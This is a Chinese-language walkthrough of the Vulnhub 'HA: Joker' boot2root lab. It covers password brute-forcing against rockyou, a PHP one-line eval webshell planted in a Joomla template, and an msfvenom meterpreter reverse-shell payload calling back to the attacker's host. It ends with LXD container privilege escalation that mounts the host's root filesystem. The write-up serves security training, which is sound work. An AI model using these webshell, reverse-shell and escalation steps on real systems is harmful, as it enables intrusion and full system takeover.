专栏首页湛卢工作室Vulnhub靶机实战 | joker
原创

Vulnhub靶机实战 | joker

靶机地址:

https://www.vulnhub.com/entry/ha-joker,379/

靶机描述:

This lab is going to introduce a little anarchy. It will upset the established order, and everything becomes will become chaos. Get your face painted and wear that Purple suit because it’s time to channel your inner Joker. This is a boot2root lab. Getting the root flag is ultimate goal.

ENUMERATION IS THE KEY!!!!! (枚举是关键,字典是关键)

nmap 查看靶机端口情况,开放了80和8080

2020-06-17_221320.png

80端口没有特别发现,8080端口需要用户名密码进行认证。

对80端口利用dirb工具进行目录扫描,发现secret.txt文件

dirb http://192.168.136.134 -X .txt,php,json,html

2020-06-17_221514.png

secret.txt是joker和蝙蝠侠的对话,其实是提示信息,rock暗示kali中的rockyou字典,100 poor jokes暗示是字典的前100个。

对于8080端口进行抓包:

2020-06-17_221946.png

登录包中的认证信息通过base64编码,解密后发现为user:password 格式。按照此格式进行口令爆破,用户名joker,密码为rockyou top 100.

2020-06-17_222135.png

破解出用户名密码:am9rZXI6aGFubmFo,解码为joker:Hannah。登录后,发现8080端口web服务为 Joomla CMS

2020-06-17_222214.png

Joomla 默认后台地址: /administrator。默认用户密码 joomla/joomla,成功登录后台,尝试后台getshell。在插件中找到 beez3 模板,可进行php文件编辑:

http://192.168.136.134:8080/administrator/index.php?option=com_templates&view=templates

可在模板中添加shell.php文件,写入一句话木马:

<?php @eval($_POST[c]);?>

2020-06-17_222343.png

webshell地址:http://192.168.136.134:8080/templates/beez3/shell.php

注意连接的时候需要加上header字段Authorization: Basic am9rZXI6aGFubmFo,绕过第一步的登录验证

2020-06-17_222427.png

获得webshell:

系统信息: Linux ubuntu 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64

当前用户: www-data,需要提权到root

2020-06-17_222542.png

反弹shell:

1、生成msf 后门

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.136.222 LPORT=6666 -f elf >shell.elf

2、通过webshell上传到/tmp目录执行

Chmod 777 shell.elf

./shell.elf

3、Msf本地监听,获得meterpreter

2020-06-17_222646.png

Linux提权思路

  1. 内核漏洞(脏牛)
  2. 定时任务(Cron通常以root特权运行。如果我们可以成功修改cron中的任何脚本或二进制文件,那么我们可以使用root权限执行任意代码,工具pspy)
  3. Suid提权(SUID代表设置的用户ID,是一种Linux功能,允许用户在指定用户的许可下执行文件。SUID可以让调用者以文件拥有者的身份运行该文件,SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。工具LinEnum.sh)
  4. Sudo 配置错误(管理员可能只允许用户通过SUDO运行一些命令,可能在没有察觉的情况下中引入漏洞,这可能导致权限提升。一个典型的例子是将SUDO权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。)
  5. NFS共享(网络文件系统NFS允许客户端计算机上的用户通过网络挂载共享文件或目录。no_root_squash参数配置不当可造成root提权。)
  6. 第三方服务(某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获 得root权限。 lxd容器提权。)

lxd容器提权原理

LXD是Linux系统中用于管理LXC容器的API,提供了很多便利的命令来创建容器(container)、启动等等操作。它将为本地lxd用户组的任何用户执行任务,然而并没有在用户的权限与要执行的功能之间是否匹配做过多的判断。

LXD is a root process that carries out actions for anyone with write access to the LXD UNIX socket. It often does not attempt to match privileges of the calling user. There are multiple methods to exploit this. One of them is to use the LXD API to mount the host's root filesystem into a container. This gives a low-privilege user root access to the host filesystem. This is demonstrated in the exploit attached.

2020-06-17_222933.png

lxd容器提权

利用LXD Alpine Linux image builder工具构建容器镜像, 该工具提供了一种创建Alpine Linux映像以与LXD一起使用的方法。

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine #构建容器镜像

错误required by: world解决办法:

编辑/etc/apk/repositories

然后在文件的最顶端添加http://mirrors.ustc.edu.cn/alpine/v3.12/main/

编译成功完成后,出现容器镜像alpine-v3.12-x86_64-20200617_0924.tar.gz,将该文件上传到靶机中。

2020-06-17_223025.png

lxd容器提权

靶机中操作:

首先将编译好的镜像alpine-v3.12-x86_64-20200617_0924.tar.gz上传至靶机

lxc image import ./alpine-v3.12-x86_64-20200617_0924.tar.gz --alias myimage #导入镜像

lxc image list #查看镜像列表

2020-06-17_223108.png

lxc init myimage ignite -c security.privileged=true #初始化容器

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true #将宿主机的文件系统挂载到容器的

/mnt/root 目录下

lxc start ignite #启动容器

lxc exec ignite /bin/sh #执行shell

cat /mnt/root/root/final.txt

获得root权限,拿到flag文件,完成任务

2020-06-17_223210.png

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 劳动节 | 说说代理池

    近期由于工作中的遇到的问题,在研究代理池,其实代理池应该说已经是比较成熟的技术,而且在飞速发展,比如现在主流的“秒拨”技术,给企业在风险IP识别和判定上带来极大...

    tinyfisher
  • 关于近期Microsoft Exchange多个高危漏洞——ProxyLogon

    近期网上曝出Microsoft Exchange存在多个高危漏洞,通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括CVE-20...

    tinyfisher
  • 社工模拟——利用BadUSB穿透3层内网

    作为一个安全人员,听过许多社工APT案例,钓鱼邮件、水坑攻击、丢个u盘等等。前段时间在一次培训中了解到BadUSB的攻击方式,可以通过U盘达到控制服务器的效果,...

    tinyfisher
  • LeetCode MySQL 1454. 活跃用户(连续dense_rank排名函数)

    后续问题: 如果活跃用户是那些至少连续 n 天登录账户的用户, 你能否写出通用的解决方案?

    Michael阿明
  • Scala typeclass 设计模式

    本文的写作的灵感主要是看了这个视频 : Tutorial: Typeclasses in Scala with Dan Rosen

    Ldpe2G
  • Spring Boot Redis 实现分布式锁,真香!!

    之前看很多人手写分布式锁,其实 Spring Boot 现在已经做的足够好了,开箱即用,支持主流的 Redis、Zookeeper 中间件,另外还支持 JDBC...

    Java技术栈
  • 【Mysql】理解MySQL——复制(Replication)

    转载自:http://www.cnblogs.com/hustcat/archive/2009/12/19/1627525.html,版权归原作者所有,侵删!

    后端技术漫谈
  • 高性能 MySQL 主从架构的复制原理及配置详解

    Mysql内建的复制功能是构建大型,高性能应用程序的基础。将Mysql的数据分布到多个系统上去,这种分布的机制,是通过将Mysql的某一台主机的数据复制到其它主...

    杰哥的IT之旅
  • 理解MySQL——复制(Replication)

    1、复制概述 1.1、复制解决的问题 数据复制技术有以下一些特点: (1) 数据分布 (2) 负载平衡(load balancing) (3) ...

    哲洛不闹
  • 人生不一定会赢,而我就是不想输

    有一本书同时出现在比尔盖茨和巴菲特的2016年度推荐书单中,这本书是《鞋狗》,耐克创始人菲尔奈特的自传。

    撸码那些事

扫码关注云+社区

领取腾讯云代金券